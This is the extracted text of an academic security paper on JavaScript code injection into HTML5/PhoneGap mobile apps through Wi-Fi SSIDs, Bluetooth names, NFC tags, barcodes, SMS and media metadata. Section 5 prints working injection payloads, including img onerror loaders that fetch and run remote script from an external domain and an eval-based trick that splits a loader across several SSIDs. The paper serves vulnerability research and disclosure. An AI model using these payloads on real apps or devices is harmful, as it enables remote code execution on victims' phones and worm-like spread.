Code Injection Attacks on HTML5-based Mobile Appswedu/Research/paper/code_injection_most2014.pdf · Code Injection Attacks on HTML5-based Mobile Apps Xing Jin, Tongbo Luo, Derek G

Code Injection Attacks on HTML5-based Mobile Apps

Xing Jin Tongbo Luo Derek G Tsui and Wenliang DuDept of Electrical Engineering amp Computer Science Syracuse University

Syracuse New York USAContact email wedusyredu

See attack demonstration from our web site httpwwwcissyredu~weduattack

ABSTRACTHTML5-based mobile apps become more and more popu-lar mostly because they are much easier to be ported acrossdifferent mobile platforms than native apps HTML5-basedapps are implemented using the standard web technologiesincluding HTML5 JavaScript and CSS they depend on somemiddlewares such as PhoneGap to interact with the under-lying OS

Knowing that JavaScript is subject to code injection at-tacks we have conducted a systematic study on HTML5-based mobile apps trying to evaluate whether it is safe torely on the web technologies for mobile app developmentOur discoveries are quite surprising We found out that ifHTML5-based mobile apps become popularndashit seems to gothat direction based on the current projectionndashmany of thethings that we normally do today may become dangerousincluding reading from 2D barcodes scanning Wi-Fi accesspoints playing MP4 videos pairing with Bluetooth devicesetc This paper describes how HTML5-based apps can be-come vulnerable how attackers can exploit their vulnerabil-ities through a variety of channels and what damage can beachieved by the attackers In addition to demonstrating theattacks through example apps we have studied 186 Phone-Gap plugins used by apps to achieve a variety of functionali-ties and we found that 11 are vulnerable We also found tworeal HTML5-based apps that are vulnerable to the attacks

1 INTRODUCTIONThe story behinds this paper starts with John Smith

who is just an ordinary person Like most people Johnhas a smartphone with many apps installed and thisphone is an important part of his daily life Letrsquos followJohn in a typical day of his life At 700am John wakesup While enjoying his breakfast he starts an app on hisphone to listen to FM radios broadcasted from his localstations (his phone has an FM radio receiver) The appdisplays the name of the song that is being played on thecurrent channel allowing John to scan through channelsto find the one that he likes At 800am John rides a busto work He sees an interesting product advertisementposted on the back of the seat in front of him To learnmore about the product he taps his phone on the RFID

tag attached to the advertisement After spending theentire morning working John decides to eat lunch at anewly opened restaurant Trying to save money on hisphonersquos data plan he uses a Wi-Fi scanning app to findfree Wi-Fi access points He is quite happy when he seesseveral that he can choose from John finishes his workat 500pm and while riding the bus home he decidesto listen to the MP3 songs that were downloaded Heis very excited to find out that the MP3 player app onhis phone also displays the lyrics of the song which issometimes included in the metadata fields of MP3 filesAfter getting off the bus he gets an SMS message fromhis wife asking him to buy some food on the way homeso he enters a supermarket and that is when he sees abig 2D barcode posted on the door Knowing that thiscode contains discount information he scans it and isquite pleased to know that he can save five dollars

The above story shows a few of very common prac-tices that a typical mobile device user may do in hisherdaily life It seems that nothing needs to be worriedabout for these practices That is true but only for nowAn emerging technology trend that has been rapidlygaining popularity in the mobile industry is going tochange the picture When this technology becomes widelyadopted every single practice that John did in the abovestory can become a risky act The radio programsRFID tags MP3 files Wi-Fi access points SMS mes-sages and 2D barcodes can all become vehicles for at-tackers to inject malicious code into Johnrsquos smartphoneleading to severe damages The attack does not stop atJohnrsquos phone it can be spread to other peoplersquos phoneslike a worm The more popular the technology becomesthe more quickly such a worm can spread out

This disrupting technology is the HTML5 technol-ogy which is the base for the HTML5-based mobileapps Before this technology is adopted by the app de-velopment for mobile systems mobile apps are typicallywritten in the native language that is supported by theirOSes For instance native Android apps are written inJava and native iOS apps are written in Objective-CPorting apps from one platform to another is difficultDue to the popularity of Android and iOS developers

usually do not have many choices but to learn two dif-ferent systems and develop two versions for their appsusing different languages If other OSes catch up to An-droid and iOS developersrsquo lives will become harder andharder

HTML5-based mobile apps provide a solution to theabove problem Unlike native apps this type of apps aredeveloped using the HTML5 technology which is plat-form agnostic because all mobile OSes need to supportthis technology in order to access the Web HTML5-based apps use HTML5 and CSS to build the graphicaluser interface while using JavaScript for the program-ming logic Because HTML5 CSS and JavaScript arestandard across different platforms porting HTML5-based apps from one platform to another becomes easyand to certain degree transparent Due to the porta-bility advantage and peoplersquos familiarity of JavaScriptover other languages HTML5-based mobile apps arerapidly gaining popularity A survey of 1200 developerscarried out by Evans Data shows that 75 of them areusing the HTML5 technology for app development [1]A recent Gartner report claims that HTML5-based webapps will split the market with native apps by 2016 [5]

Unfortunately the decision to use HTML5 JavaScriptand CSS to write mobile apps introduces new risks thatdo not exist for native languages The Web is still bat-tling with the Cross-Site Scripting (XSS) attack whichto a large degree is caused by the fact that data andcode can be mixed together in a string and the tech-nology can pick out the code from the string and runthe code In our story data all come from untrustedexternal entities if they contain code and if the app isnot aware of the risk the code from outside may be exe-cuted inside the app leading to security breaches Sucha potential attack is only a hypothesis and its feasibil-ity in mobile devices is unknown This paper conductsa systematic study on such an attack Our study hasled to the following discoveries and contributions

bull We have identified that HTML5-based mobile appscan be attacked using a technique that is similarto the Cross- Site Scripting attack These attacksare real and we have found real-world apps thatcan be successfully attacked using the techniqueHTML5-based apps from all major platforms canbe affected including Android iOS and Black-berry

bull We present a systematic study to identify potentialchannels that can be used to launch the attackWe have proof-of-concept attacks using most of thechannels

bull We have identified challenges faced by attackersand have shown how they can be overcome

The rest of the paper is organized as the followingSection 2 gives a brief overview of WebView and the

PhoneGap framework Section 3 explains how the at-tack works Section 4 conducts a systematic study onthe channels that be used by the attack Section 5 dis-cusses the challenges of the attack and how they canbe overcome Sections 6 and 7 study this vulnerabilityin PhoneGap plugins and real mobile apps Sections 8and 9 discuss the related work potential solutions andconclusions

2 BACKGROUNDHTML5-based mobile apps cannot directly run on

most mobile systems such as Android and iOS becausethese systems do not support HTML5 and JavaScriptnatively a web container is needed for rendering HTML5-based graphical user interface and executing JavaScriptcode Most mobile systems have such a container itis called WebView in Android UIWebView in iOS andWebBrowser in Windows Phone For simplicity we onlyuse the term WebView throughout the paper

WebView WebView was originally designed to allownative apps to process and display web contents Itbasically packages the web-browsing functionalities intoa class which can be embedded into an app essentiallymaking web browser a component of the app Withthe APIs provided by WebView mobile apps can alsocustomize the HTML pages inside WebView

Since WebView is intended for hosting web contentswhich are usually untrusted WebView like browsersimplements a sandbox so JavaScript code inside canonly run in an isolated environment Such a sandboxis appropriate for web contents but it is too restrictivefor mobile apps an app running in an isolated environ-ment is not very useful on mobile devices as it cannotaccess the system resources such as files device sensorscameras etc

WebView allows applications to add a bridge betweenthe JavaScript code inside and the native code (egJava) outside This bridge makes it possible for JavaScriptcode to invoke the outside native code which is not re-stricted by WebViewrsquos sandbox and can access systemresources as long as the app has the required permis-sions Developers can write their own native code towork with the code inside WebView but that lowersthe portability of the app The most common practiceis to use a third-party middleware for the native-codepart leaving the portability issue to the developers ofthe middleware Well-established middlewares do sup-port a variety of mobile platforms

Several middleware frameworks have been developedincluding PhoneGap [12] RhoMobile [13] Appcelera-tor [3] etc In this paper we choose to focus on Phone-Gap which is the most popular one However our at-tacks can be applied to other middlewares We studythe attack on the Android platform but since apps areportable across platforms so are their vulnerabilities

Therefore our attacks also work on other platforms

PhoneGap and PhoneGap Plugin PhoneGaphelps developers create HTML5-based mobile apps us-ing the standard web technologies Developers writeapps in HTML pages JavaScript code and CSS fileThe PhoneGap framework by default embeds a Web-View instance in the app and relies on this WebViewto render the HTML pages and execute JavaScript code

Figure 1 The PhoneGap Architecture

PhoneGap consists of two parts (Figure 1) the frame-work part and the plugin part with the framework partserving as a bridge between the code inside WebViewand the plugin modules while the plugin part doing theactual job of interacting with the system and the out-side world For each type of resources such as CameraSMS WiFi and NFC there are one or multiple pluginsCurrently the PhoneGap framework includes 16 built-in plugins for apps to use directly However if an apprsquosneeds cannot be met by these plugins developers caneither write their own plugins or use third-party Phone-Gap plugins Currently there are 183 third-party plu-gins available and the number will definitely increase

A plugin is mainly written in the language nativelysupported by its hosting mobile system but to make itmore convenient for JavaScript to invoke plugins manyplugins provide companion JavaScript libraries someeven provide sample JavaScript code that teaches de-velopers how to use the plugins When JavaScript codeinside WebView needs to access system or external re-sources it calls the APIs provided in the plugin libraryThe library code will then call the PhoneGap APIs andeventually through the PhoneGap framework invokethe Java code in the corresponding plugin When theplugin finishes its job it returns the data back to thepage also through the PhoneGap framework That ishow JavaScript code inside the WebView gets system orexternal resources Figure 1 depicts the entire process

3 THE CODE INJECTION ATTACKIt is well known that the Web technology has a dan-

gerous feature it allows data and code to be mixedtogether ie when a string containing both data and

code is processed by the web technology the code canbe identified and sent to the JavaScript engine for ex-ecution This feature is made by design so JavaScriptcode can be embedded freely inside HTML pages Un-fortunately the consequence of this feature is that ifdevelopers just want to process data but use the wrongAPIs the code in the mixture can be automatically andmistakenly triggered If such a data-and-code mixturecomes from an untrustworthy place malicious code canbe injected and executed inside the app This is theJavaScript code injection attack A special type of thisattack is called Cross-Site Scripting (XSS) which ac-cording to the OWASP top-ten list [11] is currently thethird most common security risk in web applications

31 The OverviewThe decision to use the web technology to develop

mobile apps opens a new can of worms making it pos-sible for the code injection attack to be launched againstmobile apps this is much more damaging than the XSSattack on web applications simply because we give toomuch power to the apps installed on our mobile devicesMoreover in the XSS attack the channel for code in-jection is limited to web application server which isthe only channel for untrusted data to reach their vic-tims There will be many more exploitable channels inthe code injection attacks on mobile apps A commoncharacteristic of these channels is that they all link themobile devices to the outside world essentially allow-ing the attacks from another device (not necessarily amobile device) Figure 2(a) illustrates the basic idea ofthe attack

Since smartphones constantly interact with the out-side world in addition to the traditional network chan-nel there are many new channels for untrusted data toenter mobile devices For example 2D barcodes RFIDtags media files the ID field of Bluetooth devices andWi-Fi access points etc Malicious code can be embed-ded in data coming from these channels

If the code mixed in the data does not get a chance tobe triggered there is no risk caused by the code That iswhy apps written using the native language are immuneto this type of code injection attack For example evenif attackers can embed a Java code inside a 2D barcodethere is not much chance for the code to be triggeredmistakenly This is not true for the HTML5-based appsdue to the dangerous features of the web technologyIn particular it is quite common for apps to displaythe data coming from outside such as displaying theinformation in a 2D barcode A number of APIs in theweb technology are quiteldquosmartrdquo they can separate thedata from code send the data to the HTML renderingengine and the code to the JavaScript engine regardlessof whether running the code is the developerrsquos intentionor not When the code gets executed it can leverage

(a) Basic Idea of the Attacks (b) Attacking with Malicious Code

Figure 2 Code Injection Attacks on HTML5-based Mobile Apps

the permissions assigned to the app and launch theattacks on mobile devices using the ldquowindowsrdquo on theWebView that is opened by the PhoneGap frameworkand the HTML5 APIs

32 Triggering the Injected CodeThere are two common ways to cause the JavaScript

code inside a data string to be executed One wayis to use the eval() API which runs the string as aJavaScript program The risk is not high here becausethe programmer knows that heshe is expecting codein the string The other way for code to be triggeredis through the DOM (Document Object Model) displayAPIs and attributes such as documentwrite() ap-pendChild() innerHTML (attribute) etc Some jQuerydisplay APIs can also trigger code such as html() andappend() which eventually call or use the DOM dis-play APIs and attributes These APIs and attributesare used by JavaScript to display information insideHTML pages (in PhoneGap apps these pages are theuser interface) In this second case triggering the codein the string may be intentional for the Web because ofthe nature of the Web but it is seldom the developerrsquosintention in mobile apps

Not all these display APIs and attributes can trig-ger code inside a string it all depends how the code isembedded In an HTML page code is typically mixedwith the data using two approaches using script ortagrsquos event attribute The following code gives an ex-ample for each of the approach1 Using Script Tag2 ltscriptgtalert(rsquoattackrsquo)ltscriptgtData3 Using the IMG Tagrsquos onerror attribute4 ltIMG src=x onerror=alert(rsquoattackrsquo)gtData

DOM APIs Script Image APIand Attributes Tag Tag Usagedocumentwrite() 3 3 680appendChild() 3 3 589

innerHTMLouterHTML 5 3 602innerTextouterText 5 5 183

textContent 5 5 327

jQuery APIshtml() 3 3 1636

appendprepend() 3 3 1728beforeafter() 3 3 733

add() 3 3 524replaceAllreplaceWith() 3 3 052

text() 5 5 419

Table 1 DOM (jQuery) Display APIs and Attributes(3 means that the code can be triggered 5 means theotherwise)

When these two strings are passed to the DOMj-Query display APIs and attributes the results regard-ing whether the code alert(lsquoattackrsquo) can be success-fully triggered is summarized in Table 1 We also counthow many PhoneGap apps (among the 764 apps that wehave collected) use each particulate API and attributein their code (the fourth column)

33 The DamageThe damage caused by the attack is summarized in

Figure 2(b) There are three types of damage onetype is caused by direct attacks on the victimrsquos de-vice (marked by the thin arrows in the figure) and theother two types are propagation damage (representedby the wide arrows marked with ldquoPropagaterdquo in the fig-ure)

First the injected malicious code can directly attackthe device through theldquowindowsrdquothat are opened to the

code inside WebView Normally JavaScript code can-not do much damage to the device due to WebViewrsquossandbox but to enable mobile apps to access the systemand device many ldquowindowsrdquo have been created Theseldquowindowsrdquo include the HTML5 APIs (such as the Ge-olocation API) and all the PhoneGap plugins that areinstalled in this app It should be noted that Phone-Gap has 16 built-in plugins 1 so even if an app doesnot use them they are always available to the app andcan be used by the injected malicious code These plu-gins include Contact File and Device plugins theyallow the malicious code to access the system resourcesMoreover many PhoneGap apps also include additionalthird-party PhoneGap plugins For example the Face-Book plugin is included by 30 of the PhoneGap appsThese plugins can also be used by the malicious code

Second the injected malicious code can be furtherinjected into other vulnerable PhoneGap apps on thesame device using the internal data channels Datasharing among apps is quite common in mobile devicesFor example the Contact list is shared so when an appis compromised by an external attacker via the attackthe malicious code can inject a copy of itself into theContact list When another vulnerable PhoneGap apptries to display the Contact entry that contains the ma-licious code the code will be triggered and this timeinside the second app There are many internal datachannels that can be used including Contact Calen-dar images and MP3MP4 files on SD card etc

Third the injected malicious code can turn the com-promised device into an attacking device so it can usethe same attacking technique to inject a copy of itselfinto another device For example if the compromisedapp has the permission to send SMS messages the ma-licious code can create an SMS message containing acopy of itself and send to all the friends on the Contactlist it can also add the code in the metadata field of anMP3 file and share the file with friends it can also pre-tend to be a Bluetooth device with the malicious codeset in the name field waiting for other devices to dis-play the name inside their vulnerable apps The morePhoneGap apps are installed on devices the more suc-cessful the propagation can be and the more rapidlythe malicious code can spread out

4 CODE INJECTION CHANNELSIn this section we conduct a systematic study to iden-

tify the data channels that can be used for injecting codeinto mobile devices To demonstrate how these channelscan be used in our attack we need to find apps that usethe channels and also display the data from the channelsusing the vulnerable APIs Given that there are only afew hundred PhoneGap apps that we can collect and1This number may increase in the future as more and moreplugins are integrated into the PhoneGap framework

most of them either do not use the channels or do notdisplay the data from the channels it is hard to usereal apps to do the demonstration Therefore we wroteour own PhoneGap apps to demonstrate the attack us-ing each channel but for scientific merits we strictlyabide by the following principles (1) we use the exist-ing PhoneGap plugins (2) if a PhoneGap plugin hasits own JavaScript library we use it (3) the vulnera-ble APIs that we use should be commonly used by theexisting PhoneGap apps and (4) the behaviors imple-mented in the PhoneGap apps should be common in theexisting apps not artificial (we always show the samebehaviors from a real non-PhoneGap app as a proof)All the attack demos are available in our website [10]

41 ID ChannelsIn some scenarios before a mobile device established

a connection with an external entity it gets the ID fromthe external entity and displays that to the users Thiscreates a channel between the device and the externalentity even before they are connected We study howsuch an ID channel can be used by attackers to injectmalicious code into mobile devices

Wi-Fi Access Point To find nearby Wi-Fi accesspoints many smartphone users install some Wi-Fi scan-ner apps which scan for all the available Wi-Fi hotspotsnearby and display their Service Set Identifiers (SSIDs)and other information to users Figure 3(a) shows thedisplay results from WIFI Analyzer which is a free appdownloaded from Google Play There are more than 250similar apps in Google Play some of which are quitepopular with more than ten million downloads

Because of the popularity of such apps it is not hardto imagine that in the near future some of the appslike this will be HTML5-based When that happensthe SSID field of Wi-Fi will become a potential codeinjection channel To demonstrate the attack we con-figure an Android phone so it functions as an accesspoint Android allows us to set the SSID to an arbi-trary string for this access point so we set the SSID tothe following JavaScript code

ltscriptgtalert(rsquoattackrsquo)ltscriptgt

The first entry in Figure 3(a) displays the JavaScriptcode as it is ie the JavaScript code in SSID is not ex-ecuted because the app is written in Java If the sameapp was implemented using PhoneGap the SSID will bedisplayed inside WebView This is where critical mis-takes can be made If the app uses any of the vulnerableAPIs to display SSIDs the JavaScript can be executed

To prove this concept we wrote a Wi-Fi scanner our-selves using the PhoneGap framework and one of itsWi-Fi plugins Figure 3(b) shows the results Thistime instead of displaying the code inside SSID thecode gets executed We did not do anything abnormal

in this app The API that we use to display the SSIDfield is html() which is used in 1636 of the Phone-Gap apps collected by us Even if we change the API toinnnerHTML which is safer than html() and does notrun the code inside the script tag we can still succeedin code injection Full details will be given in Section 5

(a) Non-PhoneGap App (b) PhoneGap App

Figure 3 Wi-Fi Finder Apps

Given the fact that it is so easy to set up a Wi-Fiaccess point using a mobile device the attack can beeasily launched In this section we are not showingwhat damage can be achieved (there is no real damageif only the alert() code is injected) In Section 5we will conduct a comprehensive study to show how towrite the malicious code that can achieve real damages

BlueTooth Bluetooth has a similar behavior iebefore an app needs to use Bluetooth to communicatewith an external device for the first time it needs toconduct pairing It displays the IDs of all the Bluetoothdevices that can be detected so users can choose the onethat they want to pair with Similar to Wi-Fi this IDcreates a data channel between the mobile device andany of the external Bluetooth devices as long as thedevice can receive the signal from the Bluetooth devicesThe ID data enter the mobile device automatically

The attack is quite similar to that on Wi-Fi theattacker just needs to turn hisher mobile device intoa Bluetooth device uses a malicious JavaScript codeas its device name and broadcasts the name to nearbydevices Any mobile device that is trying to pair witha Bluetooth device using a vulnerable PhoneGap app islikely to become a victim

We have found a real PhoneGap app in Google Playthat is indeed vulnerable to our attack We will give afull detail on this app in Section 7 as a case study

42 Data Channels Unique to Mobile DevicesOther than getting data from the Internet Wi-Fi

and Bluetooth mobile devices also get data from a num-ber of data channels that are not very common in thetraditional desktops and laptops For example mostsmartphones can scan 2D barcodes (using camera) re-

ceive SMS messages and some smartphones can readRFID tags These data channels make it very conve-nient for users to get information from outside so theyare being widely used by mobile applications In ourstudies we find out that if these mobile applicationsare developed using the HTML5-based technology allthese data channels can be used for injecting code

Near Field Communication (NFC) Near FieldCommunication is a protocol to establish radio com-munication between smartphones and other devices bybringing them into close proximity The NFC technol-ogy has been adopted by a number of mobile devicesincluding Googlersquos Nexus series Samsung Galaxy S IIIand S4 Samsung Galaxy Note 3 etc

The most popular use of NFC on these phones is toread information from external NFC tags (special typeof RFID tags) this becomes a convenient way for mo-bile devices to read data from outside users only needto tap their devices on NFC tags to get the data Ad-vertisers and marketers are using NFC tags for promo-tion and advertising purposes For example Google haspartnered with the NFC specialist Tapit to promote itsMusic service on public transportation along the eastcoast of Australia Posters with embedded NFC tagsare placed on the back of the seats in buses and trainsUsers who are interested in the information can taptheir phones on the tags

There are several NFC tag reader programs in GooglePlay such as NFC TagInfo and NFC Reader Theseapps usually register to handle NFC Intent Wheneverthe mobile device detects an NFC tag it reads the datain the tag and then sends the intent that contains thetag data The waiting apps will then be triggered andit usually displays data to the user Figure 4(a) showsthe user interface of a typical NFC reader app It shouldbe noted that we put the JavaScript code in the NFCtag (as its data) but since the app is written in Javathe code will simply be displayed as a text

If such an NFC reader app is written using Phone-Gap and it uses vulnerable APIs to display the dataread from NFC tags the mobile device will be in a greatdanger To demonstrate that we wrote an app usingthe PhoneGap framework and its official NFC pluginwe use html() to display the data read from NFC tagsFrom Figure 4(b) we can see that the JavaScript codeplaced in the NFC tag gets executed

With the increasingly wide adoption of NFC vulner-able PhoneGap apps will make tapping on untrustedNFC tags quite dangerous Launching the attacks isquite easy attackers just need to place malicious NFCtags (containing malicious JavaScript code) in publicplaces and entice users to tap on those tags This is apassive attack Attackers can also launch an active at-tack by taking a malicious NFC tag to their victims Inthe tags attackers can specify which app should be in-

Figure 4 NFC Reader Apps

voked to receive the data from the NFC tag Thereforewhen they bring their tags close to a victimrsquos device aslong as the screen of the targeted device is not lockedthe device will automatically read the data from thetag and launch the specified app (usually a vulnerablePhoneGap app) with the tag data

Barcode Barcodes were originally scanned by spe-cial optical scanners but with the popularity of smart-phones it can now be scanned by most mobile devicesusing camera and software Googlersquos Goggles app andthird-party apps such as Scan are the most used bar-code scanner apps on Android devices With these appswriting an app to read barcode is very simple the appcan simply send an intent to the system this intent willtrigger the installed scanner app which will then scansthe barcode converts the barcode image to data andreturns the data back to the original app

A common barcode used by smartphones is the 2Dbarcode (or QR code) which can encode more than 2Kilobytes of text messages Because of this capacityand the convenience of barcode scanning 2D barcodesare widely adopted in practice They are posted at storeentrances to provide sales and coupon information onbuilding doors to provide directions on product labelsto provide additional information and so on Because2D barcodes are ubiquitous scanning them has alreadybecome a common practice in our lives Not many peo-ple consider barcode scanning risky

JavaScript code can be embedded in 2D barcodes Ifan app is a native app it is not a problem as the codewill only be displayed not executed Figure 5(a) showsthe display of a native barcode-scan app We did placesome code in the barcode but from the figure we cansee that the code is displayed Unfortunately if this isa PhoneGap app the situation will be quite differentWe wrote such an app and when we use it to scan thesame 2D barcode the embedded JavaScript code getsexecuted (see Figure 5(b))

We have found a real barcode-scan app that is vul-nerable to our attack We will provide full details in ourcase studies in Section 7

Text Extraction Besides extracting data from

Figure 5 Barcode Scanner

barcode images data can also be extracted from othertypes of images Text extraction is one example Manymobile apps use standard techniques to support sucha feature by automatically extracting text informationfrom the pictures captured by the camera the text willthen be displayed to users Some mobile apps can ex-tract and display information from credit-card imagesThere is a third-party credit-card plugin Similarly tobarcode if HTML5-based apps display the extracteddata from images the malicious JavaScript code em-bedded in these images can be triggered

Data Channels via Attached Peripherals Manymobile devices have additional peripherals that can readspecial-purpose data For example credit-card readeris one of the most popular peripherals and it is usedby Square and PayPal Here When users swipe theircredit cards on the reader that is attached to the mo-bile device the reader will read the card informationincluding the name number and expiration data theinformation will be returned to the app and be dis-played on the screen for user verification

Many small business owners use such peripherals toaccept payments from their customers However if theapp is written in HTML5 attackers may be able toinject malicious code into the device by simply payingthe merchants with a fake credit card Since this typeof app is always connected to payment services runningmalicious code inside such apps can cause great damage

SMS Message Another type of content we mayget from outside is the SMS message The attackercan inject malicious script into the body of an SMSmessage and send it to the victim device When thismalicious SMS message is displayed using vulnerableAPIs in an HTML5-based app the JavaScript code canbe successfully triggered

43 Metadata Channels in MediaA very popular app of mobile devices is to play media

such as playing songs movies and showing picturesThese media files are downloaded from the Internet or

shared among friends Since they mostly contain audiovideo and images it does not seem that they can beused to carry JavaScript code However most of thesefiles have additional fields that are called metadata andthey are good candidates for code injection

MP3 MP4 and Images MP3 and MP4 filesare standard format for audio and video files How-ever beside the audio and video data they also con-tain many metadata fields such as Title Artist AlbumGenre etc When users listen to MP3 songs or watchMP4 videos using mobile apps the information in themetadata fields are often displayed so users know thename of the songsvideos the album they belong to thenames of the artists etc Figure 6(a) shows the layoutof a typical MP3 player app From the figure we cansee that JavaScript code can be written into the meta-data fields but since the app is a native Java app theJavaScript code is only displayed not executed Manytools can be used to write information into metadatafields such as iTune Google Play Music N7Player etc

Figure 6 Music Player Apps

Image files have a similar situation We find manymetadata-viewer apps from Google Play they can dis-play author names copyright and descriptions aboutimages The example in Figure 7(a) shows that JavaScriptcode is injected into multiple metadata fields and is dis-played by a native app Now let us imagine that theapp is written using PhoneGap and vulnerable APIsare used to display the metadata To show the effectwe wrote such PhoneGap apps and the outcomes areshown in Figure 6(b) and Figure 7(b) the JavaScriptcode embedded in metadata gets executed

FM Radio Radio wave is another potential chan-nel for injecting code into mobile devices Recentlysome new smartphones come with a built-in FM radioreceiver so users can listen to the FM radio programsfrom their local stations Verizon Wireless ATampT andT-Mobile are including FM radio-capable handsets intheir offering and the radio industry is working on get-ting Apple on board as well Nokia has sold more than700 million devices with built-in FM radio receivers

Figure 7 Image EXIF Viewer App

worldwide demonstrating consumer recognition of thevalue [4] Users can also pay $20 to $50 to purchase apluggable FM radio receiver for their phones

Nowadays FM broadcast does not only include audiotracks it also includes data streams using the RDS (Ra-dio Data System) protocol RDS is a communicationprotocol for embedding digital information in conven-tional FM radio broadcasts RDS standardizes severaltypes of information transmitted including time sta-tion identification and program information Digitalinformation of the radio includes PI (program identifi-cation) RT (radio text) that is a 64-character free-formtextual information in sync with the programming (usedfor carrying title and artist information) etc There isa popular FM radio app called FM TwoO it has beendownloaded for more than one million times The appdisplays the embedded digital information to users

Using the GNU-Radio software and USRP (costingless than $2000) [7] attackers can easily build an FMradio transmitter and broadcast their own radio pro-grams with malicious code embedded in the RDS chan-nel If the users use HTML5-based mobile app to listento this radio once the app displays the embedded RDSinformation the malicious code can be executed insidethe victimrsquos mobile device

5 OVERCOME THE LIMITATIONIn the previous section for the sake of simplicity we

use alert to demonstrate that we can successfully injectcode through a variety of channels but alert cannotdo any meaningful damage In this section we wouldlike to investigate how to write the malicious code thatcan achieve the maximal damage If there is no lengthlimitation on the code then this is a trivial problem asattackers can write whatever code they want Unfor-tunately for the attacks studied in this paper lengthlimitation is our greatest challenge For example inour Wi-Fi attack the channel that we use is the SSIDfield and this field can only contain 32 characters [15]The question is whether attackers can even launch anymeaningful attack under such a tight limitation muchless launching one with maximal damage

51 Length Limitation on ChannelsTo understand the length limitation we have con-

ducted a systematic study on all the code-injection chan-nels that we have identified The results are summarizedin Table 2

Channels Fields Length LimitationWi-Fi SSID 32

BlueTooth DeviceName 248NFC Content gt 2000SMS Message Body 140

QR Code Content gt 2000

MP3MP4

Title gt 2000Artist gt 2000Album gt 2000Genre gt 2000

Comment gt 2000Copyright gt 2000Composer gt 2000

Title gt 2000Artist gt 2000

Comment gt 2000Copyright gt 2000

Tag gt 2000Subject gt 2000Model 32Maker 42

Table 2 Length limitations

From the table we can see that length limitation isnot an issue for the channels in MP3MP4 JPEG 2DBarcode (QR code) and NFC as they allow more than2000 characters which are often sufficient for attack-ers Unfortunately the length for the SSID field in Wi-Fi Model and Maker fields in JPEG Bluetooth andSMS seems quite limited especially the Wi-Fi whichhas only one data channel that we can use and it islimited to 32 bytes In the rest of this section we willtarget this extreme case ie we will find out ways towrite damaging JavaScript code that can be injectedinto the victimrsquos device using the 32-byte data channel

The degree of achievable damages depends on the ac-tual script injected so the length of the code variesdepending on what damage one wants to achieve thelength can be quite long causing problems due to thelength limitation To solve this problem we use the fol-lowing scheme we inject a short generic code into thevictimrsquos device through length-limited attacking chan-nels but the only goal of this code is to load anothercode from an external URL Since the external code isfetched into the victimrsquos device through a regular datachannel (ie Internet connection) there is no limit onthis external code Therefore attackers can put any-thing they want to maximize the damage

In the following subsections we will focus on the shortgeneric code mentioned above and find out the short-est JavaScript code that can be used to bootstrap theattack ie bringing in the actual attacking code from

an external URL

52 Shortening URLsSince we need to use an URL to point to the external

code it is important that we can minimize the lengthof URL We have studied several approaches One ap-proach is to use online URL shorteners such as GoogleURL shortener [8] trim [14] etc URL shortenersare designed to overcome the display URL limitationsin some apps After trying several products we get theshortest URL httptrim4ktkq from trim An-other approach is to purchase the shortest domain namethat is available We find the URL egg which costs$1490 a year A little longer URLs (eg 4acus) is stillavailable at the time of writing for $399 a year One ofthe students involved in this project happens to own adomain name mugl (he pays $49 per year) Thereforewe are going to use httpmugl in the paper

Although the URL shortening approach produces alonger URL than the domain-name purchasing approachit has some advantages not only is it free it also pre-serves the anonymity of the attackers because they caneasily use other peoplersquos web servers to host their mali-cious code instead of using the server that they own

53 Shortening Malicious CodeThere are several ways to include external JavaScript

code We will show the shortest script to load externalJavaScript files for each case

Using Script Tag Using the ltscriptgt tag is atypical way to include JavaScript code In this casewe can omit ldquohttprdquo and ldquogtrdquo The following code is theshortest script that we can achieve the total length is28

ltscript src=muglgtltscript

Using Event Attribute Unfortunately as we men-tioned in Section 3 if the above information is displayedusing innerHTML the code will not be displayed or ex-ecuted To defeat innerHTML and the alike we needto use another way to embed code JavaScript can beincluded in some HTML tagsrsquo event attributes suchas the onclick onscroll onerror and onmouseoverevents These tags can be Button tag A tag img tagetc Here is an example

ltimg src onerror=jscodegt

In the above code we use an img tag When datacontaining such an HTML tag is displayed inside We-bView the HTML parser will parse the tag and tryto load the specified image However we intentionallydo not provide a source for the image so an error willoccur and the code specified by the onerror attributewill be triggered This technique works on Nexus 5which runs Android 44 For earlier Android versions

we need to specify the src attribute using a non-existingURL For example we can set ldquosrc=xrdquo which adds twomore characters Since we use Nexus 5 in our test wecan omit that Code included in this way will bypassthe filtering mechanism implemented in innerHTML

However these attributes do not allow us to loadJavaScript code from an external URL all the code hasto be provided in the attributes making it difficult toachieve a great damage To overcome this problem weuse the injected code to dynamically generate a scriptblock and specify that the code in this script blockcomes from an external URL Here is an example whichhas 99 characters

ltimg src onerror=d=documentb=dcreateElement(rsquoscriptrsquo)dbodyappendChild(b)bsrc=rsquohttpmuglrsquogt

Many PhoneGap applications use JavaScript librariesto make their programs much simpler jQuery is awidely-used library If an app indeed uses jQuery wecan shorten the above script to 45 characters This isachieved using jQueryrsquos getScript API Here is an ex-ample (we cannot omitldquohttprdquohere otherwise getScriptcannot recognize the HTTP scheme)

ltimg src onerror=$getScript(rsquohttpmuglrsquo)gt

54 Overcoming the LimitationsSo far the shortest malicious script that we can achieve

is 45 with the help of jQuery While this script is finefor most of the injection channels that we have identi-fied it still exceeds the limits for channels like Wi-FirsquosSSID field which is limited to 32 characters We needto find way to solve this problem Our idea is to splitthe JavaScript code into several pieces and then useeval() to combine them together For example we canbreak the above $getScript example into five pieceslike the following1 ltimg src onerror=a=$getScrgt2 ltimg src onerror=b=ipt(rsquohtgt3 ltimg src onerror=c=tpmugt4 ltimg src onerror=d=glrsquo)gt5 ltimg src onerror=eval(a+b+c+d)gt

In the above code the length of each piece is 32 orless This method is generic ie if the original code islonger we can just break it into more pieces Our nextchallenge is how to inject these pieces into the victimrsquosdevice For some data channels this is easy becausethese channels have multiple fields that we can use Forexample JPEG has several fields of metadata so wejust need five fields for the attack to be successful Ifthe victim app displays all the five fields the maliciouscode will be executed successfully Even if the victimapp only displays one field we can split the five piecesinto five different JPEG files

For Wi-Fi there is only one field that we can use toinject code the question is how to inject the five piecesof code listed above There are two approaches Thefirst approach is to use multiple Wi-Fi access pointsFor the above example the attacker needs to set upfive access points each using one piece of the code asits SSID If the victim uses a vulnerable app to scan thenearby Wi-Fi all these five pieces of malicious code willbe injected We need to make sure that the last pieceie the one with eval(a+b+c+d) must be displayed onthe victimrsquos device after the first four are displayedbecause it depends on a b c and d being defined firstTo achieve the guarantee we just need to make the fifthaccess point broadcast its SSID last Figure 8(a) showsthat five malicious access points are displayed in a non-PhoneGap app called WIFI Analyze When these fiveaccess points are displayed in our PhoneGap app thejQuery code gets executed

